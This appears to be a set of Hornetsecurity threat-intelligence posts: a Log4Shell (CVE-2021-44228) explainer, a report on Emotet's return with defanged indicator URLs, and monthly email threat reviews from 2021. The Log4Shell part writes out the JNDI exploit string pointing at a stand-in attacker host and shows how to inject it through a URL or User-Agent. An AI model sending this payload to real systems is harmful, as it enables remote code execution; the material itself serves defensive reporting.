Background

CVE-2021-44228, or also known as Log4Shell, is a vulnerability in the popular Java logging package log4j.

Log4j is used by many JAVA enterprise software to implement logging. The vulnerability is caused by a feature added in 2013 that added expansion of (local environment) variables in log messages. So e.g. `${env:FOOBAR}` in a log message would expand to the environment variable `FOOBAR`. It also allows expanding variables in the JNDI (Java Naming and Directory Interface) context. This is were the vulnerability manifests. If the string `${jndi:ldap://attacker-controlled.com/x}` is logged via log4j the system will request the attacher controlled URI via the JAVA Naming and Directory Interface (JNDI) and then download and execute any attacker controlled JAVA class file leading to a remote code execution vulnerability.

Attack procedure

The vulnerability is so dangerous because it is so simple to exploit. An attack must only make a victim write his exploit string `${jndi:ldap://attacker-controlled.com/x}` into a log file using log4j. log4j is virtually the default logging library for JAVA enterprise applications making them vulnerable to CVE-2021-44228. Most applications log specific action by default, e.g., a webserver will log web requests. An attacker would simple need to request the URL `http://vulnerable-webserver.com/${jndi:ldap://attacker-controlled.com/x}` or set their User-Agent string to the exploit in order to compromise a system.
The exploit string could travel via any path, as long as eventually it gets logged by a JAVA application using log4j, e.g., a JAVA-based email client could receive an email where the subject of the email is set to the Log4Shell exploit string. Once the JAVA-base email client writes to its logs via the log4j library that it has received a new email the exploit would trigger.

Statement Hornetsecurity

Hornetsecurity already detects the malicious exploit string in emails, but so far has not observed attackers using emails directly as attack vector. The cases that have been observed so far (besides security companies and customers testing for the vulnerability) come from web forms into which the attackers wrote the Log4Shell exploit, for which the owner of the web form then received a notification email containing the fields of the form, which then obviously contained the exploit string.
Hornetsecurity is monitoring emails for CVE-2021-44228 exploitation patterns and will constantly append detection to adapt to new obfuscations in preparation for potential targeted email campaigns using the Log4Shell exploit.

References

• BSI: https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.html
• CISA:https://www.cisa.gov/news/2021/12/11/statement-cisa-director-easterly-log4j-vulnerability

Summary

Hornetsecurity observes that the Emotet botnet became active after its shut down in January 2021. Hornetsecurity’s Security Lab already identified new Emotet malspam campaigns in the wild.

Background

Emotet (also known as Heodo) was first observed in 2014. It was a banking trojan stealing banking details and banking login credentials from victims. But it pivoted to a malware-as-a-service (MaaS) operation providing malware distribution services to other cybercriminals. Today, Emotet is probably the most prolific malware distribution operation. To this end, it steals the emails of its victims and replies to the victim’s previous conversations. This is known as email conversation thread hijacking.⁵ Hornetsecurity has written numerous blogposts about Emotet.^2,3,4,5,6,7

On 2021-01-27, Europol announced that an international worldwide coordinated law enforcement and judicial action had disrupted the Emotet botnet, and investigators have taken control of Emotet’s infrastructure. The Emotet botnet was subsequently shut down by law enforcement.⁸

The comeback

On 2021-11-15, TrickBot malware was installed via malspam, downloaded, and installed the Emotet malware. Subsequently, the Emotet botnet was rebuilt and started to send malspam from its botnet again.

They send different malicious documents (XLSM and DOCM).

In some cases, the malicious documents were also placed in encrypted ZIP archives. The passwords were in plain text in the emails.

As already stated, Emotet used email conversation thread hijacking⁵, meaning it steals the emails of its victims and then replies (often even from the victim’s account) to exiting email conversations quoting the previous conversation in the email. This makes victims very susceptible to these Emotet emails.

Countermeasures

Hornetsecurity’s technical defense mechanisms do not get fooled by social engineering techniques such as the employed email conversation thread hijacking.

Hornetsecurity’s Advanced Threat Protection combats the Emotet threat with the following features:

• Malicious document decryption can use the password listed in the email to decrypt the encrypted ZIP archives.
• Hornetsecurity’s ATP sandbox will detect the malicious documents (even if previously unknown).

With the details mentioned above, we strictly recommend our Advanced Threat Protection services for adequate protection against sophisticated adversaries such as Emotet, who may change their attack patterns at any given time. Signatures for known malicious Emotet documents will be added to Hornetsecurity’s Spam and Malware Protection also to protect customers that do not have ATP services booked.

References

• ¹ https://www.hornetsecurity.com/en/security-information/email-conversation-thread-hijacking/
• ² https://www.hornetsecurity.com/en/security-information/awaiting-the-inevitable-return-of-emotet/
• ³ https://www.hornetsecurity.com/en/security-information/emotet-is-back/
• ⁴ https://www.hornetsecurity.com/en/security-information/webshells-powering-emotet/
• ⁵ https://www.hornetsecurity.com/en/security-information/emotet-update-increases-downloads/
• ⁶ https://www.hornetsecurity.com/en/security-information/trickbot-malspam-leveraging-black-lives-matter-as-lure/
• ⁷ https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/
• ⁸ https://www.hornetsecurity.com/en/threat-research/emotet-botnet-takedown/

Indicators of Compromise (IOCs)

URLs

• http[:]//ranvipclub[.]net/pvhko/a/
• http[:]//devanture[.]com[.]sg/wp-includes/XBByNUNWvIEvawb68/
• http[:]//av-quiz[.]tk/wp-content/k6K/
• https[:]//team.stagingapps[.]xyz/wp-content/aPIm2GsjA/
• https[:]//newsmag.danielolayinkas[.]com/content/nVgyRFrTE68Yd9s6/
• https[:]//goodtech.cetxlabs[.]com/content/5MfZPgP06/
• http[:]//visteme[.]mx/shop/wp-admin/PP/

Executive Summary

• This month, we saw a continuation of the large scale phishing attack against German banks that started at the end of last month.

Summary

In this installment of our monthly email threat review, we present an overview of the email-based threats observed in October 2021 and compare them to the previous month’s threats.

The report provides insights into:

• Unwanted emails by category
• File types used in attacks
• Industry Email Threat Index
• Impersonated company brands and organizations
• Ransomleaks

Unwanted emails by category

The following table shows the distribution of unwanted emails per category.

The following time histogram shows the email volume per category per day.

The large spike in unwanted emails, around 2021-10-26, can be attributed to a monthly reoccurring sextortion scam email campaign.

Methodology

The listed email categories correspond to the email categories listed in the Email Live Tracking of Hornetsecurity’s Control Panel. So our users are already familiar with them. For others, the categories are:

File types used in attacks

The following table shows the distribution of file types used in attacks.

Other file types not individually listed are email files (forwarded as .eml attachments), Windows desktop shortcut files (.lnk), Internet shortcut files (.url), Java Archive files (.jar), iCalendar files (.ics), vCard Files (.vcf), e-book file formats (.epub, .mobi), and many other even more exotic file formats. These are combined under “Other”.

The following time histogram shows the email volume per file type used in attacks per 7 days.

Industry Email Threat Index

The following table shows our Industry Email Threat Index calculated based on the number of threat emails compared to each industry’s clean emails received (in median).

The following bar chart visualizes the email-based threat posed to each industry.

Methodology

Different (sized) organizations receive a different absolute number of emails. Thus, we calculate the percent share of threat emails from each organization’s threat and clean emails to compare organizations. We then calculate the median of these percent values for all organizations within the same industry to form the industry’s final threat score.

Impersonated company brands and organizations

The following table shows which company brands and organizations our systems detected most in impersonation attacks.

The following histogram shows the email volume for company brands and organizations detected in impersonation attacks per hour.

Here we see the continued impersonation of two German banking associations to spread phishing.

Ransomleaks

Threat actors continue to leak data stolen from ransomware victims to pressure them to pay for decrypting the files and not publishing sensible data. Our automated monitoring observed the following number of leaks on ransomware leak sites (not protected by CAPTCHAS):

The following bar chart visualizes the number of victim data leaks per leak site.

We add the following ransomware leak sites to our monitoring:

• Atomsilo

• Blackmatter

• Bonaci

On 2021-10-04, Europol announced two arrests and seven property searches in Ukraine in relation to a ransomware gang. Europol did not name the ransomware gang.¹

On 2021-10-26, Europol announced action against 12 criminals involved with LockerGoga, MegaCortex and Dharma ransomware, among others.²

On 2021-10-29, the US Justice Department announced the extradition of a Russian national from South Korea to the US for its alleged role in Trickbot malware development and deployment.³

References

• ¹ https://www.europol.europa.eu/newsroom/news/ransomware-gang-arrested-in-ukraine-europol%E2%80%99s-support
• ² https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure
• ³ https://www.justice.gov/opa/pr/russian-national-extradited-united-states-face-charges-alleged-role-cybercriminal

Executive Summary

• This month, large scale phishing attacks against two German banking associations (Sparkasse and Volksbanken und Raiffeisenbanken)

Summary

In this installment of our monthly email threat review, we present an overview of the email-based threats observed in September 2021 and compare them to the previous month’s threats.

The report provides insights into:

• Unwanted emails by category
• File types used in attacks
• Industry Email Threat Index
• Attack techniques
• Impersonated company brands and organizations
• Ransomleaks

Unwanted emails by category

The following table shows the distribution of unwanted emails per category.

The following time histogram shows the email volume per category per day.

The spike in rejected emails around 2021-09-23 can be attributed to a monthly reoccurring sextortion scam email campaign written in the German language that we observe each month.

Methodology

The listed email categories correspond to the email categories listed in the Email Live Tracking of Hornetsecurity’s Control Panel. So our users are already familiar with them. For others, the categories are:

File types used in attacks

The following table shows the distribution of file types used in attacks.

The following time histogram shows the email volume per file type used in attacks per 7 days.

We see the continuation of last month’s observation concerning the increase in HTML file attachments (.htm, .html, etc.) used in attacks. On closer analysis, the growth can be attributed to multiple campaigns using HTML files for phishing by having the phishing website attached directly to the email¹ (thus circumventing URL filters). We already report on this technique in our blog.

Industry Email Threat Index

The following table shows our Industry Email Threat Index calculated based on the number of threat emails compared to each industry’s clean emails received (in median).

The following bar chart visualizes the email-based threat posed to each industry.

We observe an overall increase in threat emails per clean email received for all industry sectors.

Methodology

Different (sized) organizations receive a different absolute number of emails. Thus, we calculate the percent share of threat emails from each organization’s threat and clean emails to compare organizations. We then calculate the median of these percent values for all organizations within the same industry to form the industry’s final threat score.

Attack techniques

The following table shows the attack techniques used in attacks.

The following time histogram shows the email volume per attack technique used per hour.

Impersonated company brands and organizations

The following table shows which company brands and organizations our systems detected most in impersonation attacks.

The following histogram shows the email volume for company brands and organizations detected in impersonation attacks per hour.

There is a significant increase in campaigns impersonating the German banks Sparkasse and Volks- und Raiffeisenbank. We detected multiple different phishing email campaigns targeting these two German banks.

One example phishing email impersonating Sparkasse:

One example phishing email impersonating Volks- und Raiffeisenbank:

In all variants of the large-scale campaigns, the banks allegedly changed their (security) processes and the user needs to log in to confirm the change to retain access to their bank account.

Ransomleaks

Threat actors continue to leak data stolen from ransomware victims to pressure them to pay for decrypting the files and not publishing sensible data. We observed the following number of leaks on ransomware leak sites:

The following bar chart visualizes the number of victim data leaks per leak site.

On 2021-09-16, an unnamed law enforcement agency obtained the decryption keys for the REvil ransomware and BitDefender released a decryptor.

On 2021-09-21, the Department of the Treasury’s Office of Foreign Assets Control’s (OFAC) added SUEX OTC, S.R.O. (SUEX), a virtual currency exchange, to its OFAC sanction list for its part in facilitating financial transactions for ransomware actors. Analysis of known SUEX transactions shows that over 40% of SUEX’s known transaction history is associated with illicit actors related to ransomware.²

This month LockBit 2.0 added a DDOS protection CAPTCHA to their site.

Cl0p ransomware has also added a CAPTCHA to their leak site, preventing automatic monitoring of announcements.

References

• ¹ https://www.hornetsecurity.com/en/security-informationen-en/html-phishing-asking-for-the-password-twice/
• ² https://home.treasury.gov/news/press-releases/jy0364

Executive Summary

• We observed an increase in HTML attachment-based phishing.

Summary

In this installment of our monthly email threat review, we present an overview of the email-based threats observed in August 2021 and compare them to the previous month’s threats.

The report provides insights into:

• Unwanted emails by category
• File types used in attacks
• Industry Email Threat Index
• Attack techniques
• Impersonated company brands and organizations
• Ransomleaks

Unwanted emails by category

The following table shows the distribution of unwanted emails per category.

The following time histogram shows the email volume per category per day.

The spike in rejected emails around 2021-07-31 can be attributed to the monthly reoccurring sextortion scam email campaign written in the German language that regularly causes spikes in rejected emails.

Methodology

The listed email categories correspond to the email categories listed in the Email Live Tracking of Hornetsecurity’s Control Panel. So our users are already familiar with them. For others, the categories are:

File types used in attacks

The following table shows the distribution of file types used in attacks.

The following time histogram shows the email volume per file type used in attacks per 7 days.

We can detect an increase of HTML file attachments (.htm, .html, etc.) used in attacks. On closer analysis, the increase can be attributed to multiple campaigns using HTML files for phishing by having the phishing website attached directly to the email¹ (thus circumventing URL filters). We already report on this technique in our blog.

Industry Email Threat Index

The following table shows our Industry Email Threat Index calculated based on the number of threat emails compared to each industry’s clean emails received (in median).

The following bar chart visualizes the email-based threat posed to each industry.

Methodology

Different (sized) organizations receive a different absolute number of emails. Thus, we calculate the percent share of threat emails from each organization’s threat and clean emails to compare organizations. We then calculate the median of these percent values for all organizations within the same industry to form the industry’s final threat score.

Attack techniques

The following table shows the attack techniques used in attacks.

The following time histogram shows the email volume per attack technique used per hour.

The increase in malicious documents at the end of the month can be attributed to backscatter from a Formbook malspam campaign spoofing the email address of one of our customers. Many of the bounce messages contained the malicious documents of the campaign and were detected by our filters.

Impersonated company brands and organizations

The following table shows which company brands and organizations our systems detected most in impersonation attacks.

The following histogram shows the email volume for company brands and organizations detected in impersonation attacks per hour.

It’s a constant stream of phishing and other attacks impersonating big brands and organizations to entice recipients to open the emails.

Ransomleaks

Threat actors continue to leak data stolen from ransomware victims to pressure them to pay for decrypting the files and not publishing sensible data. We observed the following number of leaks on ransomware leak sites:

The following bar chart visualizes the number of victim data leaks per leak site.

On 2021-08-12, the SynAck ransomware operation renamed itself to El_Cometa. Additionally, the decryption keys for the SynAck ransomware were released. ² Our monitoring registered a total of 15 victims on SynAck’s leak site in June and Juli. The operation under the SynAck name was, therefore, rather short-lived.

According to reports³ the Ragnarok ransomware shut down its operation on 2021-08-27. Our monitoring saw the Ragnarok leak site last online on 2021-05-17. In total, the groups leak site published data of 22 victims. The operators behind the Ragnarok ransomware have also released a universal decryption key.

This practice of releasing decryption keys after shutting a ransomware operation down is widespread. It is likely an attempt by the threat actors behind the ransomware to cut all ties to the operation and allow victims to recover and remove reasons for victims and law enforcement to pursue the threat actors any longer. It also provides plausible deniability in case the threat actors are caught with the once-secret but now public and for everyone accessible decryption keys.

References

• ¹ https://www.hornetsecurity.com/en/security-informationen-en/html-phishing-asking-for-the-password-twice/
• ² https://www.bleepingcomputer.com/news/security/synack-ransomware-releases-decryption-keys-after-el-cometa-rebrand/
• ³ https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/

Summary

In this installment of our monthly email threat review, we present an overview of the email-based threats observed in July 2021 and compare them to the previous month’s threats.

The report provides insights into:

• Unwanted emails by category
• File types used in attacks
• Industry Email Threat Index
• Attack techniques
• Impersonated company brands and organizations
• Highlighted threat email campaigns
• Ransomleaks

Unwanted emails by category

The following table shows the distribution of unwanted emails per category.

The following time histogram shows the email volume per category per day.

The spike in rejected emails on 2021-07-30 can be attributed to the monthly reoccurring sextortion scam email campaign written in German that caused similar spikes in previous months.

Methodology

The listed email categories correspond to the email categories listed in the Email Live Tracking of Hornetsecurity’s Control Panel. So our users are already familiar with them. For others, the categories are:

File types used in attacks

The following table shows the distribution of file types used in attacks.

The following time histogram shows the email volume per file type used in attacks per 7 days.

Here we see an increase in malicious Word documents being used in attacks. In the previous month, only 3.6 % of attacks used Word documents. Word documents used to be the dominant document format used in document-based attacks. However, in 2020 many threat actors switched to Excel documents using the old Excel 4.0 macro feature to execute malicious code, causing the number of malicious Word documents used in attacks to decrease. Security vendors significantly less detected Excel 4.0 macro attacks compared to VBA macro-based attacks. However, since Microsoft has added Excel 4.0 macro support to AMSI¹ the increase in malicious Word documents could mean that threat actors may be considering switching back to using predominantly Word documents in their document-based attacks again instead of Excel documents.

Industry Email Threat Index

The following table shows our Industry Email Threat Index calculated based on the number of threat emails compared to clean emails received (in median) by each industry.

The following bar chart visualizes the email-based threat posed to each industry.

For comparison last month’s email-based threat index bar chart:

We observe a decrease in the overall email threat score.

Methodology

Different (sized) organizations receive a different absolute number of emails. Thus, we calculate the percent share of threat emails from each organization’s threat and clean emails to compare organizations. We then calculate the median of these percent values for all organizations within the same industry to form the industry’s final threat score.

Attack techniques

The following table shows the attack techniques used in attacks.

The following time histogram shows the email volume per attack technique used per hour.

There are no significant anomalies.

Impersonated company brands and organizations

The following table shows which company brands and organizations our systems detected most in impersonation attacks.

The following histogram shows the email volume for company brands and organizations detected in impersonation attacks per hour.

It’s a constant stream of phishing and other attacks impersonating big brands and organizations to entice recipients to open the emails.

Highlighted threat email campaigns

In this section, we want to highlight some malspam campaigns of prominent, well-known threat actors.

Please be advised that this does not contain all campaigns. The ranking, as well as volume figures, should therefore not be taken as a global ranking. We strive to expand this section of our reporting in the future.

The following time histogram shows the email volume for highlighted threat email campaigns per hour.

Methodology

Hornetsecurity observes thousands of different threat email campaigns of varying threat actors ranging from very unsophisticated low-effort attacks to highly complex obfuscated attack schemes. Our highlighting includes only a subset of those threat email campaigns.

Ransomleaks

Threat actors continue to leak data stolen from ransomware victims to pressure them to pay for decrypting the files and not publishing sensible data. We observed the following number of leaks on ransomware leak sites:

The following bar chart visualizes the number of victim data leaks per leak site.

A new addition to our data set is the leak site of LockBit 2.0. The site has been up already in June, and the actors behind the site were looking for affiliates.

It offered its potentials partners in crime a performance comparison of the LockBit 2.0 ransomware compared to other RaaS (ransomware-as-a-service) offerings.

It also offered a comparison of transfer speeds for data exfiltration.

Then on 2021-07-13, the leak site started posting data of victims.

With 66 victims, LockBit 2.0 announced almost twice as many victims as Conti, the leak site with the second most victims this month.

References

• ¹ https://www.microsoft.com/security/blog/2021/03/03/xlm-amsi-new-runtime-defense-against-excel-4-0-macro-malware/